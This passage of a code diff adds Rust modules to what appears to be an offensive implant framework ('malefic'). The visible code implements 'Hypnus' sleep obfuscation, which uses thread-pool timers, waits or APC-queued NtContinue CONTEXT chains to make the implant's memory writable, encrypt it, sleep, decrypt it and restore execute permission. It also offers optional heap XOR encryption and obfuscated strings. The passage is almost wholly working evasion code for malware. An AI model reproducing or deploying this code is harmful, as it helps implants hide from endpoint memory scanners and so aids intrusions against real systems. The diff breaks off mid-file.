0x28) as *mut u64).write(old_protect.as_u64()); + + // Schedule each CONTEXT via TpSetTimer + for ctx in &mut ctxs { + let mut timer = null_mut(); + status = TpAllocTimer( + &mut timer, + self.cfg.callback as *mut c_void, + ctx as *mut _ as *mut c_void, + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocTimer Failed").to_string()); + } + delay.QuadPart += -(100_i64 * 10_000); + TpSetTimer(timer, &mut delay, 0, 0); + } + + // Optional heap encryption + let key = if heap { + let key = core::arch::x86_64::_rdtsc().to_le_bytes(); + obfuscate_heap(&key); + Some(key) + } else { + None + }; + + // Wait for chain completion + status = NtSignalAndWaitForSingleObject(events[1], events[2], 0, null_mut()); + if !nt_success(status) { + bail!(s!("NtSignalAndWaitForSingleObject Failed").to_string()); + } + + // Undo heap encryption + if let Some(key) = key { + obfuscate_heap(&key); + } + + // Cleanup + NtClose(h_thread); + CloseThreadpool(pool); + for h in &events { + NtClose(*h); + } + + Ok(()) + } + } + + /// Wait strategy: uses TpSetWait to drive the 7-step CONTEXT chain. + fn wait(&mut self) -> Result<()> { + unsafe { + let heap = self.mode.contains(ObfMode::Heap); + let protection = if self.mode.contains(ObfMode::Rwx) { + PAGE_EXECUTE_READWRITE + } else { + PAGE_EXECUTE_READ + }; + + // Create 4 synchronization events + let mut events = [null_mut(); 4]; + for event in &mut events { + let status = NtCreateEvent( + event, + EVENT_ALL_ACCESS, + null_mut(), + EVENT_TYPE::NotificationEvent, + 0, + ); + if !nt_success(status) { + bail!(s!("NtCreateEvent Failed").to_string()); + } + } + + // Allocate thread pool + let mut pool = null_mut(); + let mut status = TpAllocPool(&mut pool, null_mut()); + if !nt_success(status) { + bail!(s!("TpAllocPool Failed").to_string()); + } + + let mut stack = TP_POOL_STACK_INFORMATION { + StackCommit: 0x80000, + StackReserve: 0x80000, + }; + status = TpSetPoolStackInformation(pool, &mut stack); + if !nt_success(status) { + bail!(s!("TpSetPoolStackInformation Failed").to_string()); + } + + TpSetPoolMinThreads(pool, 1); + TpSetPoolMaxThreads(pool, 1); + + let mut env = TP_CALLBACK_ENVIRON_V3 { + Pool: pool, + ..Default::default() + }; + + // Capture context via trampoline + let mut wait_ctx = null_mut(); + let mut ctx_init = CONTEXT { + ContextFlags: CONTEXT_FULL, + P1Home: self.cfg.rtl_capture_context.as_u64(), + ..Default::default() + }; + + status = TpAllocWait( + &mut wait_ctx, + self.cfg.trampoline as *mut c_void, + &mut ctx_init as *mut _ as *mut c_void, + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocWait [RtlCaptureContext] Failed").to_string()); + } + + let mut delay = zeroed::(); + delay.QuadPart = -(100i64 * 10_000); + TpSetWait(wait_ctx, events[0], &mut delay); + + // Signal after context capture + let mut wait_event = null_mut(); + status = TpAllocWait( + &mut wait_event, + NtSetEvent2 as *mut c_void, + events[1], + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocWait [NtSetEvent] Failed").to_string()); + } + + delay.QuadPart = -(200i64 * 10_000); + TpSetWait(wait_event, events[0], &mut delay); + + // Wait for context capture + status = NtWaitForSingleObject(events[1], 0, null_mut()); + if !nt_success(status) { + bail!(s!("NtWaitForSingleObject Failed").to_string()); + } + + // Build 7-step CONTEXT chain + let mut ctxs = [ctx_init; 7]; + for ctx in &mut ctxs { + ctx.Rax = self.cfg.nt_continue.as_u64(); + // Rbp must point at [ctx_init.Rsp - 8] where the threadpool + // dispatch return address lives + ctx.Rbp = ctx.Rsp - 8; + // Move Rsp down to avoid conflicts with the worker thread's stack + ctx.Rsp = (ctx.Rsp - 0x1000 * 5) & !0xF; // align to 16 bytes + // Write gadget_rbp (mov rsp, rbp; ret) as return address at [Rsp] + (ctx.Rsp as *mut u64).write(self.cfg.gadget_rbp); + } + + // Duplicate thread handle + let mut h_thread = null_mut(); + status = NtDuplicateObject( + nt_current_process(), + nt_current_thread(), + nt_current_process(), + &mut h_thread, + 0, + 0, + DUPLICATE_SAME_ACCESS, + ); + if !nt_success(status) { + bail!(s!("NtDuplicateObject Failed").to_string()); + } + + // Step 0: Wait for signal + ctxs[0].Rip = self.cfg.nt_wait_for_single.into(); + ctxs[0].Rcx = events[2] as u64; + ctxs[0].Rdx = 0; + ctxs[0].R8 = 0; + + // Step 1: VirtualProtect → RW + let mut old_protect = 0u32; + let (mut base, mut size) = (self.base, self.size); + ctxs[1].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[1].Rcx = nt_current_process() as u64; + ctxs[1].Rdx = (&mut base as *mut u64) as u64; + ctxs[1].R8 = (&mut size as *mut u64) as u64; + ctxs[1].R9 = PAGE_READWRITE as u64; + + // Step 2: Encrypt (SystemFunction040 takes value params, not pointers) + ctxs[2].Rip = self.cfg.system_function040.into(); + ctxs[2].Rcx = self.base; + ctxs[2].Rdx = self.size; + ctxs[2].R8 = 0; + + // Step 3: Sleep + ctxs[3].Rip = self.cfg.wait_for_single.into(); + ctxs[3].Rcx = h_thread as u64; + ctxs[3].Rdx = self.time; + ctxs[3].R8 = 0; + + // Step 4: Decrypt (SystemFunction041 takes value params, not pointers) + ctxs[4].Rip = self.cfg.system_function041.into(); + ctxs[4].Rcx = self.base; + ctxs[4].Rdx = self.size; + ctxs[4].R8 = 0; + + // Step 5: VirtualProtect → restore + ctxs[5].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[5].Rcx = nt_current_process() as u64; + ctxs[5].Rdx = base.as_u64(); + ctxs[5].R8 = size.as_u64(); + ctxs[5].R9 = protection; + + // Step 6: Signal completion + ctxs[6].Rip = self.cfg.nt_set_event.into(); + ctxs[6].Rcx = events[3] as u64; + ctxs[6].Rdx = 0; + + // Patch old_protect + ((ctxs[1].Rsp + 0x28) as *mut u64).write(old_protect.as_u64()); + ((ctxs[5].Rsp + 0x28) as *mut u64).write(old_protect.as_u64()); + + // Schedule each CONTEXT via TpAllocWait + for ctx in &mut ctxs { + let mut w = null_mut(); + status = TpAllocWait( + &mut w, + self.cfg.callback as *mut c_void, + ctx as *mut _ as *mut c_void, + &mut env, + ); + if !nt_success(status) { + bail!(s!("TpAllocWait Failed").to_string()); + } + delay.QuadPart += -(100_i64 * 10_000); + TpSetWait(w, events[0], &mut delay); + } + + // Optional heap encryption + let key = if heap { + let key = core::arch::x86_64::_rdtsc().to_le_bytes(); + obfuscate_heap(&key); + Some(key) + } else { + None + }; + + // Wait for chain completion + status = NtSignalAndWaitForSingleObject(events[2], events[3], 0, null_mut()); + if !nt_success(status) { + bail!(s!("NtSignalAndWaitForSingleObject Failed").to_string()); + } + + if let Some(key) = key { + obfuscate_heap(&key); + } + + // Cleanup + NtClose(h_thread); + CloseThreadpool(pool); + for h in &events { + NtClose(*h); + } + + Ok(()) + } + } + + /// Foliage (APC) strategy: uses NtQueueApcThread to drive the 7-step CONTEXT chain. + fn foliage(&mut self) -> Result<()> { + unsafe { + let heap = self.mode.contains(ObfMode::Heap); + let protection = if self.mode.contains(ObfMode::Rwx) { + PAGE_EXECUTE_READWRITE + } else { + PAGE_EXECUTE_READ + }; + + // Create synchronization event + let mut event = null_mut(); + let mut status = NtCreateEvent( + &mut event, + EVENT_ALL_ACCESS, + null_mut(), + EVENT_TYPE::SynchronizationEvent, + 0, + ); + if !nt_success(status) { + bail!(s!("NtCreateEvent Failed").to_string()); + } + + // Create suspended thread for APC injection + let mut h_thread = null_mut(); + status = NtCreateThreadEx( + &mut h_thread, + THREAD_ALL_ACCESS, + null_mut(), + nt_current_process(), + self.cfg.rtl_exit_user_thread.as_mut_ptr(), + null_mut(), + 1, // CREATE_SUSPENDED + 0, + 0x1000 * 20, + 0x1000 * 20, + null_mut(), + ); + if !nt_success(status) { + bail!(s!("NtCreateThreadEx Failed").to_string()); + } + + // Get initial context of suspended thread via NtGetContextThread + let nt_get_context_thread: unsafe extern "system" fn(HANDLE, *mut CONTEXT) -> NTSTATUS = + core::mem::transmute(m_get_proc_address( + m_load_library_a(s!("ntdll.dll\0").as_ptr()), + s!("NtGetContextThread\0").as_ptr(), + )); + + let mut ctx_init = CONTEXT { + ContextFlags: CONTEXT_FULL, + ..Default::default() + }; + status = nt_get_context_thread(h_thread, &mut ctx_init); + if !nt_success(status) { + bail!(s!("NtGetContextThread Failed").to_string()); + } + + // Build 7-step CONTEXT chain + let mut ctxs = [ctx_init; 7]; + + // Duplicate the current thread handle for WaitForSingleObject + let mut thread = null_mut(); + status = NtDuplicateObject( + nt_current_process(), + nt_current_thread(), + nt_current_process(), + &mut thread, + 0, + 0, + DUPLICATE_SAME_ACCESS, + ); + if !nt_success(status) { + bail!(s!("NtDuplicateObject Failed").to_string()); + } + + // For foliage (APC), write NtTestAlert at [Rsp] so after each step + // returns, it triggers the next queued APC + for ctx in ctxs.iter_mut() { + // Write NtTestAlert as return address for APC chaining + (ctx.Rsp as *mut u64).write(self.cfg.nt_test_alert.into()); + } + + // Step 0: Wait for signal + ctxs[0].Rip = self.cfg.nt_wait_for_single.into(); + ctxs[0].Rcx = event as u64; + ctxs[0].Rdx = 0; + ctxs[0].R8 = 0; + + // Step 1: VirtualProtect → RW + let mut old_protect = 0u32; + let (mut base, mut size) = (self.base, self.size); + ctxs[1].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[1].Rcx = nt_current_process() as u64; + ctxs[1].Rdx = (&mut base as *mut u64) as u64; + ctxs[1].R8 = (&mut size as *mut u64) as u64; + ctxs[1].R9 = PAGE_READWRITE as u64; + + // Step 2: Encrypt (SystemFunction040 takes value params, not pointers) + ctxs[2].Rip = self.cfg.system_function040.into(); + ctxs[2].Rcx = self.base; + ctxs[2].Rdx = self.size; + ctxs[2].R8 = 0; + + // Step 3: Sleep + ctxs[3].Rip = self.cfg.wait_for_single.into(); + ctxs[3].Rcx = thread as u64; + ctxs[3].Rdx = self.time; + ctxs[3].R8 = 0; + + // Step 4: Decrypt (SystemFunction041 takes value params, not pointers) + ctxs[4].Rip = self.cfg.system_function041.into(); + ctxs[4].Rcx = self.base; + ctxs[4].Rdx = self.size; + ctxs[4].R8 = 0; + + // Step 5: VirtualProtect → restore + ctxs[5].Rip = self.cfg.nt_protect_virtual_memory.into(); + ctxs[5].Rcx = nt_current_process() as u64; + ctxs[5].Rdx = base.as_u64(); + ctxs[5].R8 = size.as_u64(); + ctxs[5].R9 = protection; + + // Step 6: Exit the helper thread + ctxs[6].Rip = self.cfg.rtl_exit_user_thread.into(); + ctxs[6].Rcx = 0; + ctxs[6].Rdx = 0; + + // Patch old_protect + ((ctxs[1].Rsp + 0x28) as *mut u64).write(old_protect.as_u64()); + ((ctxs[5].Rsp + 0x28) as *mut u64).write(old_protect.as_u64()); + + // Queue each CONTEXT as an APC + for ctx in &mut ctxs { + status = NtQueueApcThread( + h_thread, + self.cfg.nt_continue.as_ptr() as *mut c_void, + ctx as *mut _ as *mut c_void, + null_mut(), + null_mut(), + ); + if !nt_success(status) { + bail!(s!("NtQueueApcThread Failed").to_string()); + } + } + + // Resume the thread to trigger APC chain + status = NtAlertResumeThread(h_thread, null_mut()); + if !nt_success(status) { + bail!(s!("NtAlertResumeThread Failed").to_string()); + } + + // Optional heap encryption + let key = if heap { + let key = core::arch::x86_64::_rdtsc().to_le_bytes(); + obfuscate_heap(&key); + Some(key) + } else { + None + }; + + // Wait until the helper thread finishes + status = NtSignalAndWaitForSingleObject(event, h_thread, 0, null_mut()); + if !nt_success(status) { + bail!(s!("NtSignalAndWaitForSingleObject Failed").to_string()); + } + + if let Some(key) = key { + obfuscate_heap(&key); + } + + // Cleanup + NtClose(event); + NtClose(h_thread); + NtClose(thread); + + Ok(()) + } + } +} + +// ── Public entry point ─────────────────────────────────────────────── + +#[doc(hidden)] +pub mod __private { + use super::*; + + /// Entry point: creates a fiber, runs the selected obfuscation strategy inside it. + /// `time` is in **seconds**. + pub fn hypnus_entry(base: *mut c_void, size: u64, time: u64, obf: Obfuscation, mode: ObfMode) { + hypnus_entry_ms(base, size, time.saturating_mul(1000), obf, mode) + } + + /// Like [`hypnus_entry`] but `time_ms` is in **milliseconds**. + pub fn hypnus_entry_ms( + base: *mut c_void, + size: u64, + time_ms: u64, + obf: Obfuscation, + mode: ObfMode, + ) { + let master = ConvertThreadToFiber(null_mut()); + if master.is_null() { + return; + } + + match Hypnus::new_from_ms(base as u64, size, time_ms, mode) { + Ok(hypnus) => { + let fiber_ctx = Box::new(FiberContext { + hypnus: Box::new(hypnus), + obf, + master, + }); + + let fiber = CreateFiber( + 0x100000, + Some(hypnus_fiber), + Box::into_raw(fiber_ctx).cast(), + ); + + if fiber.is_null() { + ConvertFiberToThread(); + return; + } + + SwitchToFiber(fiber); + DeleteFiber(fiber); + ConvertFiberToThread(); + } + Err(_error) => { + #[cfg(debug_assertions)] + eprintln!("[Hypnus::new] {:?}", _error); + ConvertFiberToThread(); + } + } + } + + struct FiberContext { + hypnus: Box, + obf: Obfuscation, + master: *mut c_void, + } + + extern "system" fn hypnus_fiber(ctx: *mut c_void) { + unsafe { + let mut ctx = Box::from_raw(ctx as *mut FiberContext); + let _result = match ctx.obf { + Obfuscation::Timer => ctx.hypnus.timer(), + Obfuscation::Wait => ctx.hypnus.wait(), + Obfuscation::Foliage => ctx.hypnus.foliage(), + }; + + #[cfg(debug_assertions)] + if let Err(_error) = _result { + eprintln!("[Hypnus] {:?}", _error); + } + + SwitchToFiber(ctx.master); + } + } +} + +// ── Helpers ────────────────────────────────────────────────────────── + +use crate::kit::apis::{m_get_proc_address, m_load_library_a}; + +/// Walks the HypnusHeap private heap and XOR-encrypts/decrypts allocated entries. +fn obfuscate_heap(key: &[u8; 8]) { + let heap = crate::sleep::allocator::HypnusHeap::get(); + if heap.is_null() { + return; + } + + let mut entry = unsafe { zeroed::() }; + loop { + let status = RtlWalkHeap(heap, &mut entry); + if status != 0 { + break; // RtlWalkHeap returns 0 on success (found entry), non-zero when done + } + // Flag 0x01 = RTL_HEAP_BUSY (allocated block) + if entry.Flags & 1 != 0 { + xor(entry.DataAddress as *mut u8, entry.DataSize, key); + } + } +} + +/// XOR a memory region with a repeating 8-byte key. +fn xor(data: *mut u8, len: usize, key: &[u8; 8]) { + if data.is_null() { + return; + } + for i in 0..len { + unsafe { + *data.add(i) ^= key[i % key.len()]; + } + } +} + +trait Asu64 { + fn as_u64(&mut self) -> u64; +} + +impl Asu64 for T { + fn as_u64(&mut self) -> u64 { + self as *mut _ as *mut c_void as u64 + } +} diff --git a/malefic-crates/win/src/sleep/mod.rs b/malefic-crates/win/src/sleep/mod.rs new file mode 100644 index 0000000..b116cff --- /dev/null +++ b/malefic-crates/win/src/sleep/mod.rs @@ -0,0 +1,41 @@ +#![allow(non_snake_case, non_camel_case_types, non_upper_case_globals)] + +pub mod allocator; +pub mod config; +pub mod hypnus; +pub mod types; +pub mod winapis; + +pub use allocator::HypnusHeap; +pub use hypnus::{ObfMode, Obfuscation}; + +/// Obfuscated sleep: encrypts `(base, size)` region during sleep, decrypts after. +/// +/// # Arguments +/// - `base`: Pointer to the memory region to protect +/// - `size`: Size of the memory region in bytes +/// - `time`: Delay in seconds +/// - `obf`: Obfuscation strategy (Timer, Wait, or Foliage) +/// - `mode`: Obfuscation mode flags (Rwx, Heap, or both) +pub fn obf_sleep( + base: *mut core::ffi::c_void, + size: u64, + time: u64, + obf: Obfuscation, + mode: ObfMode, +) { + hypnus::__private::hypnus_entry(base, size, time, obf, mode) +} + +/// Like [`obf_sleep`] but accepts the delay in **milliseconds** instead of seconds. +/// +/// This avoids precision loss when the heartbeat interval has a sub-second component. +pub fn obf_sleep_ms( + base: *mut core::ffi::c_void, + size: u64, + time_ms: u64, + obf: Obfuscation, + mode: ObfMode, +) { + hypnus::__private::hypnus_entry_ms(base, size, time_ms, obf, mode) +} diff --git a/malefic-crates/win/src/sleep/types.rs b/malefic-crates/win/src/sleep/types.rs new file mode 100644 index 0000000..ba060a5 --- /dev/null +++ b/malefic-crates/win/src/sleep/types.rs @@ -0,0 +1,425 @@ +#![allow( + non_snake_case, + non_camel_case_types, + non_upper_case_globals, + dead_code +)] + +use core::ffi::c_void; +use core::ptr::null_mut; + +// ── Constants ──────────────────────────────────────────────────────── + +pub const PAGE_READWRITE: u32 = 0x04; +pub const PAGE_EXECUTE_READ: u64 = 0x20; +pub const PAGE_EXECUTE_READWRITE: u64 = 0x40; +pub const MEM_COMMIT: u32 = 0x00001000; +pub const MEM_RESERVE: u32 = 0x00002000; +pub const CONTEXT_FULL: u32 = 0x00010007; +pub const THREAD_ALL_ACCESS: u32 = 0x001F03FF; +pub const DUPLICATE_SAME_ACCESS: u32 = 0x00000002; +pub const VM_LOCK_1: u32 = 0x0001; + +pub const EVENT_ALL_ACCESS: u32 = 0x001F0003; + +pub const HEAP_GROWABLE: u32 = 0x00000002; + +// ── Basic Windows types ────────────────────────────────────────────── + +pub type NTSTATUS = i32; +pub type HANDLE = *mut c_void; + +pub const STATUS_UNSUCCESSFUL: NTSTATUS = -1_073_741_823i32; // 0xC0000001 + +#[repr(C)] +#[derive(Clone, Copy, Default)] +pub struct LARGE_INTEGER { + pub QuadPart: i64, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub enum EVENT_TYPE { + SynchronizationEvent = 0, + NotificationEvent = 1, +} + +// ── Utility functions ──────────────────────────────────────────────── + +#[inline] +pub fn nt_current_process() -> HANDLE { + -1isize as *mut c_void +} + +#[inline] +pub fn nt_current_thread() -> HANDLE { + -2isize as *mut c_void +} + +#[inline] +pub fn nt_success(status: NTSTATUS) -> bool { + status >= 0 +} + +// ── CONTEXT (x86_64 Windows ABI) ──────────────────────────────────── +// +// Must be exactly 1232 bytes with 16-byte alignment. +// Layout matches the Windows AMD64 CONTEXT structure. + +#[repr(C, align(16))] +#[derive(Clone, Copy)] +pub struct CONTEXT { + // Register parameter home addresses + pub P1Home: u64, + pub P2Home: u64, + pub P3Home: u64, + pub P4Home: u64, + pub P5Home: u64, + pub P6Home: u64, + + // Control flags + pub ContextFlags: u32, + pub MxCsr: u32, + + // Segment registers + pub SegCs: u16, + pub SegDs: u16, + pub SegEs: u16, + pub SegFs: u16, + pub SegGs: u16, + pub SegSs: u16, + pub EFlags: u32, + + // Debug registers + pub Dr0: u64, + pub Dr1: u64, + pub Dr2: u64, + pub Dr3: u64, + pub Dr6: u64, + pub Dr7: u64, + + // Integer registers + pub Rax: u64, + pub Rcx: u64, + pub Rdx: u64, + pub Rbx: u64, + pub Rsp: u64, + pub Rbp: u64, + pub Rsi: u64, + pub Rdi: u64, + pub R8: u64, + pub R9: u64, + pub R10: u64, + pub R11: u64, + pub R12: u64, + pub R13: u64, + pub R14: u64, + pub R15: u64, + + // Program counter + pub Rip: u64, + + // Floating point / XSAVE area (512 bytes) + pub FltSave: XSAVE_FORMAT, + + // Vector registers (26 x M128A = 416 bytes) + pub VectorRegister: [M128A; 26], + pub VectorControl: u64, + + // Special debug control registers + pub DebugControl: u64, + pub LastBranchToRip: u64, + pub LastBranchFromRip: u64, + pub LastExceptionToRip: u64, + pub LastExceptionFromRip: u64, +} + +// Verify the size at compile time +const _: () = assert!(core::mem::size_of::() == 1232); + +impl Default for CONTEXT { + fn default() -> Self { + unsafe { core::mem::zeroed() } + } +} + +#[repr(C, align(16))] +#[derive(Clone, Copy)] +pub struct M128A { + pub Low: u64, + pub High: i64, +} + +impl Default for M128A { + fn default() -> Self { + unsafe { core::mem::zeroed() } + } +} + +#[repr(C, align(16))] +#[derive(Clone, Copy)] +pub struct XSAVE_FORMAT { + pub ControlWord: u16, + pub StatusWord: u16, + pub TagWord: u8, + pub Reserved1: u8, + pub ErrorOpcode: u16, + pub ErrorOffset: u32, + pub ErrorSelector: u16, + pub Reserved2: u16, + pub DataOffset: u32, + pub DataSelector: u16, + pub Reserved3: u16, + pub MxCsr: u32, + pub MxCsr_Mask: u32, + pub FloatRegisters: [M128A; 8], + pub XmmRegisters: [M128A; 16], + pub Reserved4: [u8; 96], +} + +impl Default for XSAVE_FORMAT { + fn default() -> Self { + unsafe { core::mem::zeroed() } + } +} + +// ── Thread Pool structures ─────────────────────────────────────────── + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct TP_CALLBACK_ENVIRON_V3 { + pub Version: u32, + pub Pool: *mut c_void, + pub CleanupGroup: *mut c_void, + pub CleanupGroupCancelCallback: *mut c_void, + pub RaceDll: *mut c_void, + pub ActivationContext: isize, + pub FinalizationCallback: *mut c_void, + pub u: TP_CALLBACK_ENVIRON_V3_0, + pub CallbackPriority: i32, + pub Size: u32, +} + +impl Default for TP_CALLBACK_ENVIRON_V3 { + fn default() -> Self { + Self { + Version: 3, + Pool: null_mut(), + CleanupGroup: null_mut(), + CleanupGroupCancelCallback: null_mut(), + RaceDll: null_mut(), + ActivationContext: 0, + FinalizationCallback: null_mut(), + u: TP_CALLBACK_ENVIRON_V3_0 { Flags: 0 }, + CallbackPriority: 1, + Size: core::mem::size_of::() as u32, + } + } +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub union TP_CALLBACK_ENVIRON_V3_0 { + pub Flags: u32, + pub s: TP_CALLBACK_ENVIRON_V3_0_0, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct TP_CALLBACK_ENVIRON_V3_0_0 { + pub _bitfield: u32, +} + +#[repr(C)] +#[derive(Default, Clone, Copy)] +pub struct TP_POOL_STACK_INFORMATION { + pub StackReserve: usize, + pub StackCommit: usize, +} + +// ── Heap walking structures ────────────────────────────────────────── + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct RTL_HEAP_WALK_ENTRY { + pub DataAddress: *mut c_void, + pub DataSize: usize, + pub OverheadBytes: u8, + pub SegmentIndex: u8, + pub Flags: u16, + pub Anonymous: RTL_HEAP_WALK_ENTRY_0, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub union RTL_HEAP_WALK_ENTRY_0 { + pub Block: RTL_HEAP_WALK_ENTRY_0_0, + pub Segment: RTL_HEAP_WALK_ENTRY_0_0_0, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct RTL_HEAP_WALK_ENTRY_0_0 { + pub Settable: usize, + pub TagIndex: u16, + pub AllocatorBackTraceIndex: u16, + pub Reserved: [u16; 2], +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub struct RTL_HEAP_WALK_ENTRY_0_0_0 { + pub CommittedSize: u32, + pub UnCommittedSize: u32, + pub FirstEntry: *mut c_void, + pub LastEntry: *mut c_void, +} + +// ── Function pointer types ─────────────────────────────────────────── + +pub type LPFIBER_START_ROUTINE = Option; + +pub type ConvertThreadToFiberFn = + unsafe extern "system" fn(lpParameter: *mut c_void) -> *mut c_void; +pub type ConvertFiberToThreadFn = unsafe extern "system" fn() -> i32; +pub type SwitchToFiberFn = unsafe extern "system" fn(lpFiber: *mut c_void); +pub type DeleteFiberFn = unsafe extern "system" fn(lpFiber: *mut c_void); +pub type CreateFiberFn = unsafe extern "system" fn( + dwStackSize: usize, + lpStartAddress: LPFIBER_START_ROUTINE, + lpParameter: *const c_void, +) -> *mut c_void; + +pub type CloseThreadpoolFn = unsafe extern "system" fn(Pool: *mut c_void) -> NTSTATUS; + +pub type TpAllocPoolFn = + unsafe extern "system" fn(PoolReturn: *mut *mut c_void, Reserved: *mut c_void) -> NTSTATUS; + +pub type TpSetPoolMaxThreadsFn = unsafe extern "system" fn(Pool: *mut c_void, MaxThreads: u32); + +pub type TpSetPoolMinThreadsFn = + unsafe extern "system" fn(Pool: *mut c_void, MinThreads: u32) -> NTSTATUS; + +pub type TpSetWaitFn = + unsafe extern "system" fn(Wait: *mut c_void, Handle: *mut c_void, Timeout: *mut LARGE_INTEGER); + +pub type TpAllocFn = unsafe extern "system" fn( + Timer: *mut *mut c_void, + Callback: *mut c_void, + Context: *mut c_void, + CallbackEnviron: *mut TP_CALLBACK_ENVIRON_V3, +) -> NTSTATUS; + +pub type TpSetPoolStackInformationFn = unsafe extern "system" fn( + Pool: *mut c_void, + PoolStackInformation: *mut TP_POOL_STACK_INFORMATION, +) -> NTSTATUS; + +pub type TpSetTimerFn = unsafe extern "system" fn( + Timer: *mut c_void, + DueTime: *mut LARGE_INTEGER, + Period: u32, + WindowLength: u32, +); + +pub type NtCloseFn = unsafe extern "system" fn(Handle: HANDLE) -> NTSTATUS; + +pub type NtSetEventFn = + unsafe extern "system" fn(hEvent: *mut c_void, PreviousState: *mut i32) -> NTSTATUS; + +pub type NtCreateEventFn = unsafe extern "system" fn( + EventHandle: *mut HANDLE, + DesiredAccess: u32, + ObjectAttributes: *mut c_void, + EventType: EVENT_TYPE, + InitialState: u8, +) -> NTSTATUS; + +pub type NtWaitForSingleObjectFn = + unsafe extern "system" fn(Handle: HANDLE, Alertable: u8, Timeout: *mut i32) -> NTSTATUS; + +pub type NtSignalAndWaitForSingleObjectFn = unsafe extern "system" fn( + SignalHandle: HANDLE, + WaitHandle: HANDLE, + Alertable: u8, + Timeout: *mut LARGE_INTEGER, +) -> NTSTATUS; + +pub type NtAlertResumeThreadFn = + unsafe extern "system" fn(ThreadHandle: HANDLE, PreviousSuspendCount: *mut u32) -> NTSTATUS; + +pub type NtQueueApcThreadFn = unsafe extern "system" fn( + ThreadHandle: HANDLE, + ApcRoutine: *mut c_void, + ApcArgument1: *mut c_void, + ApcArgument2: *mut c_void, + ApcArgument3: *mut c_void, +) -> NTSTATUS; + +pub type NtDuplicateObjectFn = unsafe extern "system" fn( + SourceProcessHandle: HANDLE, + SourceHandle: HANDLE, + TargetProcessHandle: HANDLE, + TargetHandle: *mut HANDLE, + DesiredAccess: u32, + HandleAttributes: u32, + Options: u32, +) -> NTSTATUS; + +pub type NtLockVirtualMemoryFn = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut *mut c_void, + RegionSize: *mut usize, + MapType: u32, +) -> NTSTATUS; + +pub type RtlWalkHeapFn = + unsafe extern "system" fn(HeapHandle: *mut c_void, Entry: *mut RTL_HEAP_WALK_ENTRY) -> NTSTATUS; + +pub type NtAllocateVirtualMemoryFn = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut *mut c_void, + ZeroBits: usize, + RegionSize: *mut usize, + AllocationType: u32, + Protect: u32, +) -> NTSTATUS; + +pub type NtProtectVirtualMemoryFn = unsafe extern "system" fn( + ProcessHandle: *mut c_void, + BaseAddress: *mut *mut c_void, + RegionSize: *mut usize, + NewProtect: u32, + OldProtect: *mut u32, +) -> NTSTATUS; + +pub type NtCreateThreadExFn = unsafe extern "system" fn( + ThreadHandle: *mut HANDLE, + DesiredAccess: u32, + ObjectAttributes: *mut c_void, + ProcessHandle: HANDLE, + StartRoutine: *mut c_void, + Argument: *mut c_void, + CreateSuspended: u32, + ZeroBits: u32, + StackSize: u32, + MaximumStackSize: u32, + AttributeList: *mut c_void, +) -> NTSTATUS; + +pub type GetProcessHeapFn = unsafe extern "system" fn() -> *mut c_void; + +pub type RtlCreateHeapFn = unsafe extern "system" fn( + Flags: u32, + HeapBase: *mut c_void, + ReserveSize: usize, + CommitSize: usize, + Lock: *mut c_void, + Parameters: *mut c_void, +) -> *mut c_void; + +pub type RtlAllocateHeapFn = + unsafe extern "system" fn(HeapHandle: *mut c_void, Flags: u32, Size: usize) -> *mut c_void; + +pub type RtlFreeHeapFn = + unsafe extern "system" fn(HeapHandle: *mut c_void, Flags: u32, BaseAddress: *mut c_void) -> i8; diff --git a/malefic-crates/win/src/sleep/winapis.rs b/malefic-crates/win/src/sleep/winapis.rs new file mode 100644 index 0000000..d4334fa --- /dev/null +++ b/malefic-crates/win/src/sleep/winapis.rs @@ -0,0 +1,552 @@ +#![allow( + non_snake_case, + non_camel_case_types, + non_upper_case_globals, + clippy::missing_transmute_annotations +)] + +use core::ffi::c_void; +use core::mem::transmute; +use core::ptr::null_mut; +use std::sync::OnceLock; + +use malefic_gateway::obfstr::obfstr as s; + +use crate::kit::apis::{m_get_proc_address, m_load_library_a}; +use crate::sleep::types::*; + +// ── One-time initialization ────────────────────────────────────────── + +static WINAPIS: OnceLock = OnceLock::new(); + +// ── DLL wrapper ────────────────────────────────────────────────────── + +#[derive(Default, Debug, Clone, Copy)] +pub struct Modules { + pub ntdll: Dll, + pub kernel32: Dll, + pub cryptbase: Dll, + pub kernelbase: Dll, +} + +#[derive(Default, Debug, Clone, Copy)] +#[repr(transparent)] +pub struct Dll(u64); + +impl Dll { + #[inline] + pub fn as_ptr(self) -> *mut c_void { + self.0 as *mut c_void + } + + #[inline] + pub fn as_u64(self) -> u64 { + self.0 + } +} + +impl From<*const c_void> for Dll { + fn from(ptr: *const c_void) -> Self { + Self(ptr as u64) + } +} + +impl From<*mut c_void> for Dll { + fn from(ptr: *mut c_void) -> Self { + Self(ptr as u64) + } +} + +impl From for Dll { + fn from(addr: u64) -> Self { + Self(addr) + } +} + +impl From for u64 { + fn from(dll: Dll) -> Self { + dll.0 + } +} + +// ── WinAPI function pointer wrapper ────────────────────────────────── + +#[derive(Default, Debug, Clone, Copy)] +#[repr(transparent)] +pub struct WinApi(u64); + +impl WinApi { + #[inline] + pub fn as_ptr(self) -> *const c_void { + self.0 as *const c_void + } + + #[inline] + pub fn as_mut_ptr(self) -> *mut c_void { + self.0 as *mut c_void + } + + #[inline] + pub fn is_null(self) -> bool { + self.0 == 0 + } + + #[inline] + pub fn as_u64(self) -> u64 { + self.0 + } +} + +impl From<*const c_void> for WinApi { + fn from(ptr: *const c_void) -> Self { + Self(ptr as u64) + } +} + +impl From<*mut c_void> for WinApi { + fn from(ptr: *mut c_void) -> Self { + Self(ptr as u64) + } +} + +impl From for WinApi { + fn from(addr: u64) -> Self { + Self(addr) + } +} + +impl From for u64 { + fn from(api: WinApi) -> Self { + api.0 + } +} + +// ── Resolved function pointers ─────────────────────────────────────── + +pub struct Winapis { + 